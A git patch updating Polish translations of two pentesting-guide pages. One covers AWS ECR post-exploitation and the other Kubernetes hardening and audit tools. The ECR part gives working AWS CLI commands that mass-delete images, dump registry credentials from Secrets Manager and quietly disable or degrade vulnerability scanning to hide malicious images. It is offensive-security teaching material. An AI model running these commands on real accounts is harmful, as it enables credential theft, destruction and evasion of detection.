From a169d578a62003b07c18801579f43a9776e9ed53 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 17 Dec 2025 10:12:36 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/kubernetes-security/kubernetes-har --- .../aws-ecr-post-exploitation/README.md | 82 +++++--- .../kubernetes-hardening/README.md | 186 ++++++++++++------ 2 files changed, 186 insertions(+), 82 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md index 2767f9c48..6eb168cc4 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md @@ -4,7 +4,7 @@ ## ECR -Aby uzyskać więcej informacji, sprawdź +Więcej informacji znajdziesz w {{#ref}} ../../aws-services/aws-ecr-enum.md @@ -47,7 +47,7 @@ aws ecr get-download-url-for-layer \ --registry-id 653711331788 \ --layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a" ``` -Po pobraniu obrazów należy **sprawdzić je pod kątem informacji wrażliwych**: +Po pobraniu obrazów powinieneś **sprawdzić je pod kątem wrażliwych informacji**: {{#ref}} https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html @@ -55,7 +55,7 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens ### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage` -Atakujący posiadający którąkolwiek z tych uprawnień może **utworzyć lub zmodyfikować politykę cyklu życia w celu usunięcia wszystkich obrazów w repozytorium** i następnie **usunąć całe repozytorium ECR**. Spowoduje to utratę wszystkich obrazów kontenerów przechowywanych w repozytorium. +Atakujący posiadający któreś z tych uprawnień może **utworzyć lub zmodyfikować lifecycle policy, aby usunąć wszystkie obrazy w repozytorium**, a następnie **usunąć całe ECR repository**. Doprowadziłoby to do utraty wszystkich obrazów kontenerów przechowywanych w repozytorium. ```bash # Create a JSON file with the malicious lifecycle policy echo '{ @@ -92,19 +92,19 @@ aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-i ``` ### Eksfiltracja poświadczeń rejestru upstream z ECR Pull‑Through Cache (PTC) -Jeżeli ECR Pull‑Through Cache jest skonfigurowany dla uwierzytelnionych rejestrów upstream (Docker Hub, GHCR, ACR itd.), poświadczenia upstream są przechowywane w AWS Secrets Manager z przewidywalnym prefiksem nazwy: `ecr-pullthroughcache/`. Operatorzy czasami przyznają administratorom ECR szeroki dostęp do odczytu Secrets Manager, co umożliwia eksfiltrację poświadczeń i ich ponowne wykorzystanie poza AWS. +Jeśli ECR Pull‑Through Cache jest skonfigurowany dla uwierzytelnionych rejestrów upstream (Docker Hub, GHCR, ACR itp.), poświadczenia upstream są przechowywane w AWS Secrets Manager z przewidywalnym prefiksem nazwy: `ecr-pullthroughcache/`. Operatorzy czasami przyznają administratorom ECR szeroki dostęp do odczytu w AWS Secrets Manager, co umożliwia eksfiltrację poświadczeń i ich ponowne użycie poza AWS. Wymagania - secretsmanager:ListSecrets - secretsmanager:GetSecretValue -Wyenumeruj potencjalne sekrety PTC +Wylistuj potencjalne sekrety PTC ```bash aws secretsmanager list-secrets \ --query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \ --output text ``` -Dump znalezionych sekretów i parsuj wspólne pola +Zrzucanie wykrytych sekretów i parsowanie typowych pól ```bash for s in $(aws secretsmanager list-secrets \ --query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do @@ -114,25 +114,25 @@ jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true done ``` -Opcjonalnie: zweryfikuj leaked creds względem upstream (read‑only login) +Opcjonalnie: zweryfikuj leaked creds względem upstream (logowanie tylko do odczytu) ```bash echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io ``` -Impact -- Odczytanie tych wpisów Secrets Manager ujawnia nadające się do ponownego użycia poświadczenia rejestru upstream (username/password lub token), które mogą być nadużyte poza AWS do pobierania prywatnych obrazów lub dostępu do dodatkowych repozytoriów w zależności od uprawnień upstream. +Wpływ +- Odczytanie tych wpisów Secrets Manager ujawnia ponownie używalne upstream registry credentials (username/password or token), które mogą być nadużyte poza AWS do pobierania prywatnych obrazów lub dostępu do dodatkowych repozytoriów w zależności od upstream permissions. -### Ukrywanie na poziomie rejestru: wyłączenie lub obniżenie skanowania za pomocą `ecr:PutRegistryScanningConfiguration` +### Ukrycie na poziomie rejestru: wyłączenie lub obniżenie skanowania za pomocą `ecr:PutRegistryScanningConfiguration` -Atakujący posiadający uprawnienia ECR na poziomie rejestru może po cichu zmniejszyć lub wyłączyć automatyczne skanowanie podatności dla WSZYSTKICH repozytoriów, ustawiając konfigurację skanowania rejestru na BASIC bez żadnych reguł scan-on-push. Powoduje to, że nowe push'e obrazów nie będą automatycznie skanowane, ukrywając obrazy podatne lub złośliwe. +Atakujący z uprawnieniami ECR na poziomie rejestru może cicho zmniejszyć lub wyłączyć automatyczne skanowanie podatności dla wszystkich repozytoriów, ustawiając registry scanning configuration na BASIC bez żadnych reguł scan-on-push. To zapobiega automatycznemu skanowaniu nowych pushy obrazów, ukrywając podatne lub złośliwe obrazy. -Requirements +Wymagania - ecr:PutRegistryScanningConfiguration - ecr:GetRegistryScanningConfiguration -- ecr:PutImageScanningConfiguration (optional, per‑repo) -- ecr:DescribeImages, ecr:DescribeImageScanFindings (verification) +- ecr:PutImageScanningConfiguration (opcjonalne, dla repozytorium) +- ecr:DescribeImages, ecr:DescribeImageScanFindings (weryfikacja) -Registry-wide downgrade to manual (no auto scans) +Obniżenie ustawień dla całego rejestru do ręcznego (brak automatycznych skanów) ```bash REGION=us-east-1 # Read current config (save to restore later) @@ -159,7 +159,7 @@ aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids # Optional: will error with ScanNotFoundException if no scan exists aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true ``` -Opcjonalnie: dalsze obniżenie na poziomie repozytorium +Opcjonalnie: dalsze obniżenie uprawnień na poziomie repo ```bash # Disable scan-on-push for a specific repository aws ecr put-image-scanning-configuration \ @@ -167,22 +167,22 @@ aws ecr put-image-scanning-configuration \ --repository-name "$repo" \ --image-scanning-configuration scanOnPush=false ``` -Wpływ -- Nowe wypchnięcia obrazów w całym rejestrze nie są automatycznie skanowane, co zmniejsza widoczność podatnych lub złośliwych treści i opóźnia wykrycie do momentu ręcznego uruchomienia skanu. +Impact +- Nowe wypchnięcia obrazów do rejestru nie są skanowane automatycznie, co zmniejsza widoczność podatnej lub złośliwej zawartości i opóźnia wykrycie do momentu uruchomienia skanu ręcznego. -### Obniżenie wersji silnika skanowania dla całego rejestru przez `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR) +### Obniżenie jakości silnika skanowania dla całego rejestru przez `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR) -Zmniejsz wykrywalność podatności w całym rejestrze, przełączając silnik skanowania BASIC z domyślnego AWS_NATIVE na przestarzały silnik CLAIR. To nie wyłącza skanowania, ale może istotnie zmienić wyniki/zakres. Połącz to z konfiguracją skanowania rejestru BASIC bez reguł, aby uczynić skany wyłącznie ręcznymi. +Zmniejsz jakość wykrywania podatności w całym rejestrze, przełączając silnik skanowania BASIC z domyślnego AWS_NATIVE na starszy silnik CLAIR. To nie wyłącza skanowania, ale może istotnie zmienić wyniki/zakres wykrywania. Połącz to z konfiguracją skanowania rejestru BASIC bez reguł, aby skany były tylko ręczne. -Wymagania +Requirements - `ecr:PutAccountSetting`, `ecr:GetAccountSetting` -- (Opcjonalnie) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration` +- (Opcjonalne) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration` -Wpływ -- Ustawienie rejestru `BASIC_SCAN_TYPE_VERSION` na `CLAIR`, dzięki czemu kolejne skany BASIC będą uruchamiane z obniżonym silnikiem. CloudTrail zapisuje wywołanie API `PutAccountSetting`. +Impact +- Ustawienie rejestru `BASIC_SCAN_TYPE_VERSION` na `CLAIR`, więc kolejne skany BASIC będą wykonywane przy użyciu obniżonego silnika. CloudTrail rejestruje wywołanie API `PutAccountSetting`. -Kroki +Steps ```bash REGION=us-east-1 @@ -201,4 +201,36 @@ aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC - # 5) Restore to AWS_NATIVE when finished to avoid side effects aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE ``` +### Skanuj obrazy ECR pod kątem podatności +```bash +#!/bin/bash + +# This script pulls all images from ECR and runs snyk on them showing vulnerabilities for all images + +region= +profile= + +registryId=$(aws ecr describe-registry --region $region --profile $profile --output json | jq -r '.registryId') + +# Configure docker creds +aws ecr get-login-password --region $region --profile $profile | docker login --username AWS --password-stdin $registryId.dkr.ecr.$region.amazonaws.com + +while read -r repo; do +echo "Working on repository $repo" +digest=$(aws ecr describe-images --repository-name $repo --image-ids imageTag=latest --region $region --profile $profile --output json | jq -r '.imageDetails[] | .imageDigest') +if [ -z "$digest" ] +then +echo "No images! Empty repository" +continue +fi +url=$registryId.dkr.ecr.$region.amazonaws.com/$repo@$digest +echo "Pulling $url" +docker pull $url +echo "Scanning $url" +snyk container test $url --json-file-output=./snyk/$repo.json --severity-threshold=high +# trivy image -f json -o ./trivy/$repo.json --severity HIGH,CRITICAL $url +# echo "Removing image $url" +# docker image rm $url +done < <(aws ecr describe-repositories --region $region --profile $profile --output json | jq -r '.repositories[] | .repositoryName') +``` {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/README.md b/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/README.md index 890689bbd..6f6fbd8c5 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/README.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/README.md @@ -1,4 +1,4 @@ -# Zabezpieczanie Kubernetes +# Kubernetes Hardening {{#include ../../../banners/hacktricks-training.md}} @@ -6,7 +6,7 @@ ### [Steampipe - Kubernetes Compliance](https://github.com/turbot/steampipe-mod-kubernetes-compliance) -Będzie przeprowadzać **kilka kontroli zgodności w klastrze Kubernetes**. Zawiera wsparcie dla CIS, National Security Agency (NSA) oraz Cybersecurity and Infrastructure Security Agency (CISA) — w formie technicznego raportu dotyczącego zabezpieczania Kubernetes. +Wykonuje **kilka kontroli zgodności w klastrze Kubernetes**. Zawiera wsparcie dla CIS oraz raportów technicznych National Security Agency (NSA) i Cybersecurity and Infrastructure Security Agency (CISA) dotyczących hardeningu Kubernetes. ```bash # Install Steampipe brew install turbot/tap/powerpipe @@ -27,44 +27,44 @@ powerpipe server ``` ### [**Kubescape**](https://github.com/armosec/kubescape) -[**Kubescape**](https://github.com/armosec/kubescape) to open-source narzędzie dla K8s zapewniające pojedynczy panel zarządzania dla środowisk multi-cloud K8s, w tym analizę ryzyka, zgodność z bezpieczeństwem, wizualizator RBAC i skanowanie podatności obrazów. Kubescape skanuje klastry K8s, pliki YAML i HELM charts, wykrywając błędne konfiguracje zgodnie z wieloma frameworkami (takimi jak [NSA-CISA](https://www.armosec.io/blog/kubernetes-hardening-guidance-summary-by-armo), [MITRE ATT\&CK®](https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/)), podatności oprogramowania oraz naruszenia RBAC (role-based-access-control) na wczesnych etapach CI/CD pipeline, natychmiast oblicza wynik ryzyka i pokazuje trendy ryzyka w czasie. +[**Kubescape**](https://github.com/armosec/kubescape) to otwartoźródłowe narzędzie dla K8s, oferujące jednolity widok K8s dla środowisk multi-cloud, obejmujące analizę ryzyka, zgodność bezpieczeństwa, wizualizator RBAC oraz skanowanie podatności obrazów. Kubescape skanuje klastry K8s, pliki YAML oraz HELM charts, wykrywając błędy konfiguracji zgodnie z wieloma frameworkami (takimi jak the [NSA-CISA](https://www.armosec.io/blog/kubernetes-hardening-guidance-summary-by-armo) , [MITRE ATT\&CK®](https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/)), podatności oprogramowania oraz naruszenia RBAC (kontrola dostępu oparta na rolach) we wczesnych etapach potoku CI/CD, natychmiast oblicza wynik ryzyka i pokazuje trendy ryzyka w czasie. ```bash curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash kubescape scan --verbose ``` ### [**Popeye**](https://github.com/derailed/popeye) -[**Popeye**](https://github.com/derailed/popeye) to narzędzie, które skanuje działający klaster Kubernetes i **zgłasza potencjalne problemy z wdrożonymi zasobami i konfiguracjami**. Oczyszcza Twój klaster na podstawie tego, co jest rzeczywiście wdrożone, a nie tego, co znajduje się na dysku. Przez skanowanie klastra wykrywa błędy konfiguracji i pomaga zapewnić stosowanie najlepszych praktyk, zapobiegając przyszłym problemom. Ma na celu zmniejszenie obciążenia poznawczego, z którym spotyka się operator klastra Kubernetes w rzeczywistych warunkach. Dodatkowo, jeśli klaster używa metric-server, raportuje potencjalne nad-/niedopasowania zasobów i próbuje ostrzec, gdy klaster zaczyna brakować pojemności. +[**Popeye**](https://github.com/derailed/popeye) to narzędzie, które skanuje działający klaster Kubernetes i **zgłasza potencjalne problemy z wdrożonymi zasobami i konfiguracjami**. Ocenia stan klastra na podstawie tego, co jest wdrożone, a nie tego, co znajduje się na dysku. Skanując klaster, wykrywa błędne konfiguracje i pomaga zapewnić stosowanie najlepszych praktyk, zapobiegając w ten sposób przyszłym problemom. Ma na celu zmniejszenie obciążenia poznawczego — cognitive \_over_load — z jakim mierzy się operator klastra Kubernetes w środowisku produkcyjnym. Ponadto, jeśli klaster korzysta z metric-server, raportuje potencjalne nadmierne/niedostateczne przydziały zasobów i próbuje ostrzec, jeśli klaster wyczerpie dostępne zasoby. ### [**Kube-bench**](https://github.com/aquasecurity/kube-bench) -Narzędzie [**kube-bench**](https://github.com/aquasecurity/kube-bench) sprawdza, czy Kubernetes jest wdrożony bezpiecznie, uruchamiając kontrole udokumentowane w [**CIS Kubernetes Benchmark**](https://www.cisecurity.org/benchmark/kubernetes/).\ -Możesz wybrać, aby: +Narzędzie [**kube-bench**](https://github.com/aquasecurity/kube-bench) sprawdza, czy Kubernetes jest wdrożony bezpiecznie, uruchamiając testy opisane w [**CIS Kubernetes Benchmark**].\ +Możesz wybrać: -- uruchomić kube-bench z wnętrza kontenera (dzieląc przestrzeń nazw PID z hostem) -- uruchomić kontener, który instaluje kube-bench na hoście, a następnie uruchomić kube-bench bezpośrednio na hoście -- zainstalować najnowsze binaria ze strony [Releases](https://github.com/aquasecurity/kube-bench/releases), +- uruchomić kube-bench z wnętrza kontenera (dzieląc namespace PID z hostem) +- uruchomić kontener, który zainstaluje kube-bench na hoście, a następnie uruchomić kube-bench bezpośrednio na hoście +- zainstalować najnowsze binaria ze strony [Releases page], - skompilować je ze źródeł. ### [**Kubeaudit**](https://github.com/Shopify/kubeaudit) -**[DEPRECATED]** Narzędzie [**kubeaudit**](https://github.com/Shopify/kubeaudit) to narzędzie wiersza poleceń i pakiet Go służący do **audytu klastrów Kubernetes** pod kątem różnych zagadnień związanych z bezpieczeństwem. +**[DEPRECATED]** Narzędzie [**kubeaudit**](https://github.com/Shopify/kubeaudit) to narzędzie wiersza poleceń i pakiet Go do **audytowania klastrów Kubernetes** pod kątem różnych zagadnień związanych z bezpieczeństwem. -Kubeaudit potrafi wykryć, czy działa wewnątrz kontenera w klastrze. Jeśli tak, spróbuje przeaudytować wszystkie zasoby Kubernetes w tym klastrze: +Kubeaudit potrafi wykryć, czy działa wewnątrz kontenera w klastrze. Jeśli tak, spróbuje audytować wszystkie zasoby Kubernetes w tym klastrze: ``` kubeaudit all ``` -To narzędzie ma również argument `autofix`, aby **automatycznie naprawić wykryte problemy.** +To narzędzie ma także argument `autofix`, który pozwala **automatycznie naprawiać wykryte problemy.** ### [**Kube-hunter**](https://github.com/aquasecurity/kube-hunter) -**[DEPRECATED]** Narzędzie [**kube-hunter**](https://github.com/aquasecurity/kube-hunter) wyszukuje luki bezpieczeństwa w klastrach Kubernetes. Narzędzie zostało opracowane, aby zwiększyć świadomość i widoczność problemów bezpieczeństwa w środowiskach Kubernetes. +**[PRZESTARZAŁE]** Narzędzie [**kube-hunter**](https://github.com/aquasecurity/kube-hunter) wyszukuje luki bezpieczeństwa w klastrach Kubernetes. Narzędzie zostało opracowane, aby zwiększyć świadomość i widoczność problemów związanych z bezpieczeństwem w środowiskach Kubernetes. ```bash kube-hunter --remote some.node.com ``` ### [Trivy](https://github.com/aquasecurity/trivy) -[Trivy](https://github.com/aquasecurity/trivy) ma skanery, które wyszukują problemy bezpieczeństwa oraz cele, w których mogą znaleźć te problemy: +[Trivy](https://github.com/aquasecurity/trivy) posiada skanery, które wyszukują problemy z bezpieczeństwem oraz cele, w których może znaleźć te problemy: - Obraz kontenera - System plików @@ -75,48 +75,48 @@ kube-hunter --remote some.node.com ### [**Kubei**](https://github.com/Erezf-p/kubei) -**[Looks like unmantained]** +**[Wygląda na nieutrzymywany]** -[**Kubei**](https://github.com/Erezf-p/kubei) to narzędzie do skanowania podatności i CIS Docker benchmark, które pozwala użytkownikom uzyskać dokładną i natychmiastową ocenę ryzyka ich klastrów Kubernetes. Kubei skanuje wszystkie obrazy używane w klastrze Kubernetes, w tym obrazy podów aplikacyjnych i podów systemowych. +[**Kubei**](https://github.com/Erezf-p/kubei) to narzędzie do skanowania podatności oraz narzędzie CIS Docker benchmark, które pozwala użytkownikom uzyskać dokładną i natychmiastową ocenę ryzyka ich klastrów Kubernetes. Kubei skanuje wszystkie obrazy używane w klastrze Kubernetes, w tym obrazy podów aplikacyjnych oraz podów systemowych. ### [**KubiScan**](https://github.com/cyberark/KubiScan) -[**KubiScan**](https://github.com/cyberark/KubiScan) to narzędzie do skanowania klastra Kubernetes pod kątem ryzykownych uprawnień w modelu autoryzacji Role-based access control (RBAC) Kubernetes. +[**KubiScan**](https://github.com/cyberark/KubiScan) to narzędzie do skanowania klastra Kubernetes pod kątem ryzykownych uprawnień w modelu autoryzacji Role-based access control (RBAC). ### [Managed Kubernetes Auditing Toolkit](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) -[**Mkat**](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) to narzędzie stworzone do przeprowadzania innych typów kontroli wysokiego ryzyka w porównaniu z innymi narzędziami. Posiada głównie 3 różne tryby: +[**Mkat**](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) to narzędzie stworzone do testowania innych typów kontroli wysokiego ryzyka w porównaniu z innymi narzędziami. Posiada głównie 3 różne tryby: -- **`find-role-relationships`**: Który znajdzie, które role AWS działają w których podach -- **`find-secrets`**: Który próbuje zidentyfikować sekrety w zasobach K8s, takich jak Pods, ConfigMaps i Secrets. -- **`test-imds-access`**: Który spróbuje uruchomić pody i spróbować uzyskać dostęp do metadata v1 i v2. UWAGA: To uruchomi pod w klastrze, bądź bardzo ostrożny, ponieważ możesz nie chcieć tego robić! +- **`find-role-relationships`**: który znajdzie, które role AWS działają w których podach +- **`find-secrets`**: który próbuje zidentyfikować sekrety w zasobach K8s, takich jak Pods, ConfigMaps i Secrets. +- **`test-imds-access`**: który spróbuje uruchomić pody i uzyskać dostęp do metadanych v1 i v2. UWAGA: To uruchomi poda w klastrze — bądź bardzo ostrożny, ponieważ być może nie chcesz tego robić! ## **Audyt kodu IaC** ### [**KICS**](https://github.com/Checkmarx/kics) -[**KICS**](https://github.com/Checkmarx/kics) znajduje luki bezpieczeństwa, problemy ze zgodnością i błędne konfiguracje infrastruktury w następujących rozwiązaniach Infrastructure as Code: Terraform, Kubernetes, Docker, AWS CloudFormation, Ansible, Helm, Microsoft ARM oraz specyfikacjach OpenAPI 3.0 +[**KICS**](https://github.com/Checkmarx/kics) znajduje **luki bezpieczeństwa**, problemy ze zgodnością oraz błędne konfiguracje infrastruktury w następujących rozwiązaniach Infrastructure as Code: Terraform, Kubernetes, Docker, AWS CloudFormation, Ansible, Helm, Microsoft ARM oraz specyfikacjach OpenAPI 3.0. ### [**Checkov**](https://github.com/bridgecrewio/checkov) -[**Checkov**](https://github.com/bridgecrewio/checkov) to narzędzie do statycznej analizy kodu dla infrastructure-as-code. +[**Checkov**](https://github.com/bridgecrewio/checkov) to narzędzie do analizy statycznej kodu dla infrastructure-as-code. -Skanuje infrastrukturę chmurową provisioned using [Terraform](https://terraform.io), Terraform plan, [Cloudformation](https://aws.amazon.com/cloudformation/), [AWS SAM](https://aws.amazon.com/serverless/sam/), [Kubernetes](https://kubernetes.io), [Dockerfile](https://www.docker.com), [Serverless](https://www.serverless.com) lub [ARM Templates](https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) i wykrywa błędne konfiguracje bezpieczeństwa oraz zgodności przy użyciu skanowania opartego na grafie. +Skanuje infrastrukturę chmurową prowizjonowaną przy użyciu [Terraform](https://terraform.io), Terraform plan, [Cloudformation](https://aws.amazon.com/cloudformation/), [AWS SAM](https://aws.amazon.com/serverless/sam/), [Kubernetes](https://kubernetes.io), [Dockerfile](https://www.docker.com), [Serverless](https://www.serverless.com) lub [ARM Templates](https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) i wykrywa błędne konfiguracje bezpieczeństwa i zgodności przy użyciu skanowania opartego na grafie. ### [**Kube-score**](https://github.com/zegl/kube-score) -[**kube-score**](https://github.com/zegl/kube-score) to narzędzie, które wykonuje statyczną analizę kodu definicji obiektów Kubernetes. +[**kube-score**](https://github.com/zegl/kube-score) to narzędzie wykonujące statyczną analizę kodu definicji obiektów Kubernetes. -To install: +Aby zainstalować: -| Distribution | Command / Link | -| --------------------------------------------------- | --------------------------------------------------------------------------------------- | +| Dystrybucja | Polecenie / Link | +| --------------------------------------------------- | ---------------------------------------------------------------------------------------- | | Pre-built binaries for macOS, Linux, and Windows | [GitHub releases](https://github.com/zegl/kube-score/releases) | | Docker | `docker pull zegl/kube-score` ([Docker Hub)](https://hub.docker.com/r/zegl/kube-score/) | | Homebrew (macOS and Linux) | `brew install kube-score` | | [Krew](https://krew.sigs.k8s.io/) (macOS and Linux) | `kubectl krew install score` | -## Narzędzia do analizy plików YAML i Helm Charts +## Narzędzia do analizy plików YAML & Helm Charts ### [**Kube-linter**](https://github.com/stackrox/kube-linter) ```bash @@ -162,23 +162,95 @@ helm template chart /path/to/chart \ --set 'config.urls[0]=https://dummy.backend.internal' \ | kubesec scan - ``` -## Wskazówki +## Skanowanie problemów z zależnościami -### Kubernetes PodSecurityContext i SecurityContext +### Skanowanie obrazów +```bash +#!/bin/bash +export images=$(kubectl get pods --all-namespaces -o jsonpath="{range .items[]}{.spec.containers[].image}{'\n'}{end}" | sort | uniq) +echo "All images found: $images" +echo "" +echo "" +for image in $images; do +# Run trivy scan and save JSON output +trivy image --format json --output /tmp/result.json --severity HIGH,CRITICAL "$image" >/dev/null 2>&1 +# Extract binary targets that have vulnerabilities +binaries=$(jq -r '.Results[] | select(.Vulnerabilities != null) | .Target' /tmp/result.json) +if [ -n "$binaries" ]; then +echo "- **Image:** $image" +while IFS= read -r binary; do +echo " - **Binary:** $binary" +jq -r --arg target "$binary" ' +.Results[] | select(.Target == $target) | .Vulnerabilities[] | +" - **\(.Title)** (\(.Severity)): Affecting `\(.PkgName)` fixed in version `\(.FixedVersion)` (current version is `\(.InstalledVersion)`)." +' /tmp/result.json +done <<< "$binaries" +echo "" +echo "" +echo "" +fi +done +``` +### Skanowanie Helm charts +```bash +#!/bin/bash +# scan-helm-charts.sh +# This script lists all Helm releases, renders their manifests, +# and then scans each manifest with Trivy for configuration issues. -Możesz skonfigurować **kontekst bezpieczeństwa Pods** (za pomocą _PodSecurityContext_) oraz **kontenerów**, które będą uruchamiane (za pomocą _SecurityContext_). Po więcej informacji przeczytaj: +# Check that jq is installed +if ! command -v jq &>/dev/null; then +echo "jq is required but not installed. Please install jq and rerun." +exit 1 +fi + +# List all helm releases and extract namespace and release name +echo "Listing Helm releases..." +helm list --all-namespaces -o json | jq -r '.[] | "\(.namespace) \(.name)"' > helm_releases.txt + +# Check if any releases were found +if [ ! -s helm_releases.txt ]; then +echo "No Helm releases found." +exit 0 +fi + +# Loop through each Helm release and scan its rendered manifest +while IFS=" " read -r namespace release; do +echo "---------------------------------------------" +echo "Scanning Helm release '$release' in namespace '$namespace'..." +# Render the Helm chart manifest +manifest_file="${release}-manifest.yaml" +helm get manifest "$release" -n "$namespace" > "$manifest_file" +if [ $? -ne 0 ]; then +echo "Failed to get manifest for $release in $namespace. Skipping." +continue +fi +# Scan the manifest with Trivy (configuration scan) +echo "Running Trivy config scan on $manifest_file..." +trivy config --severity MEDIUM,HIGH,CRITICAL "$manifest_file" +echo "Completed scan for $release." +done < helm_releases.txt + +echo "---------------------------------------------" +echo "Helm chart scanning complete." +``` +## Tips + +### Kubernetes PodSecurityContext and SecurityContext + +You can configure the **security context of the Pods** (with _PodSecurityContext_) and of the **containers** that are going to be run (with _SecurityContext_). For more information read: {{#ref}} kubernetes-securitycontext-s.md {{#endref}} -### Utwardzanie API Kubernetes +### Kubernetes API Hardening -Bardzo ważne jest, aby **chronić dostęp do Kubernetes Api Server**, ponieważ złośliwy aktor z wystarczającymi uprawnieniami może go nadużyć i w różny sposób uszkodzić środowisko.\ -Ważne jest zabezpieczenie zarówno **dostępu** (**whitelist** originów mających dostęp do API Server i odrzucenie pozostałych połączeń), jak i [**authentication**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/) (zgodnie z zasadą **najmniejszych** **uprawnień**). I zdecydowanie **nigdy** **nie** **zezwalaj** na **anonimowe** **żądania**. +To bardzo ważne, aby **chronić dostęp do Kubernetes Api Server**, ponieważ złośliwy aktor z wystarczającymi uprawnieniami mógłby go nadużyć i w różny sposób uszkodzić środowisko.\ +Ważne jest zabezpieczenie zarówno **dostępu** ( **whitelist** originów, które mogą łączyć się z API Server i odrzucanie innych połączeń) jak i [**uwierzytelniania**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/) (zgodnie z zasadą **najmniejszych** **uprawnień**). I zdecydowanie **nigdy** **nie** **zezwalaj** **na** **anonimowe** **żądania**. **Typowy proces żądania:**\ -User or K8s ServiceAccount –> Authentication –> Authorization –> Admission Control. +Użytkownik lub K8s ServiceAccount –> Uwierzytelnianie –> Autoryzacja –> Admission Control. **Wskazówki**: @@ -186,17 +258,17 @@ User or K8s ServiceAccount –> Authentication –> Authorization –> Admission - Unikaj dostępu anonimowego. - NodeRestriction; brak dostępu z określonych węzłów do API. - [https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction) -- W praktyce zapobiega to kubeletom dodawania/usuwania/aktualizowania labeli z prefiksem node-restriction.kubernetes.io/. Ten prefiks labeli jest zarezerwowany dla administratorów do oznaczania obiektów Node w celach izolacji workloadów i kubeletom nie będzie wolno modyfikować labeli z tym prefiksem. -- A także umożliwia kubeletom dodawanie/usuwanie/aktualizowanie tych labeli i prefiksów labeli. -- Zapewnij za pomocą labeli bezpieczną izolację workloadów. -- Zabroń dostępu do API dla konkretnych Pods. -- Unikaj wystawiania ApiServer do internetu. -- Unikaj nieautoryzowanego dostępu przez RBAC. -- Zabezpiecz port ApiServer za pomocą firewalla i whitelisty adresów IP. +- W praktyce uniemożliwia kubeletom dodawanie/usuwanie/aktualizowanie etykiet z prefiksem node-restriction.kubernetes.io/. Ten prefiks etykiety jest zarezerwowany dla administratorów do oznaczania ich Node objects w celach izolacji workloadów, i kubeletom nie będzie wolno modyfikować etykiet z tym prefiksem. +- A także pozwala kubeletom na dodawanie/usuwanie/aktualizowanie tych etykiet i prefiksów etykiet. +- Zapewnij bezpieczną izolację workloadów za pomocą etykiet. +- Uniemożliwiaj konkretnym pods dostęp do API. +- Unikaj wystawienia ApiServer do internetu. +- Zapobiegaj nieautoryzowanemu dostępowi — RBAC. +- Port ApiServer zabezpiecz zaporą i whitelistą IP. -### Utwardzanie SecurityContext +### SecurityContext Hardening -Domyślnie, jeśli nie określono innego użytkownika, podczas uruchamiania Pod będzie używany użytkownik root. Możesz uruchomić swoją aplikację w bezpieczniejszym kontekście, używając szablonu podobnego do poniższego: +Domyślnie użytkownik root będzie używany, gdy Pod zostanie uruchomiony, jeśli nie zostanie określony inny użytkownik. Możesz uruchomić swoją aplikację w bardziej bezpiecznym kontekście, używając szablonu podobnego do poniższego: ```yaml apiVersion: v1 kind: Pod @@ -225,30 +297,30 @@ allowPrivilegeEscalation: true - [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/](https://kubernetes.io/docs/concepts/policy/pod-security-policy/) -### Ogólne utwardzanie +### General Hardening -Powinieneś aktualizować swoje środowisko Kubernetes tak często, jak to konieczne, aby mieć: +Należy aktualizować środowisko Kubernetes tak często, jak to konieczne, aby zapewnić: -- Zależności aktualne. +- Zaktualizowane zależności. - Poprawki błędów i bezpieczeństwa. -[**Release cycles**](https://kubernetes.io/docs/setup/release/version-skew-policy/): Co 3 miesiące pojawia się nowe wydanie minorowe -- 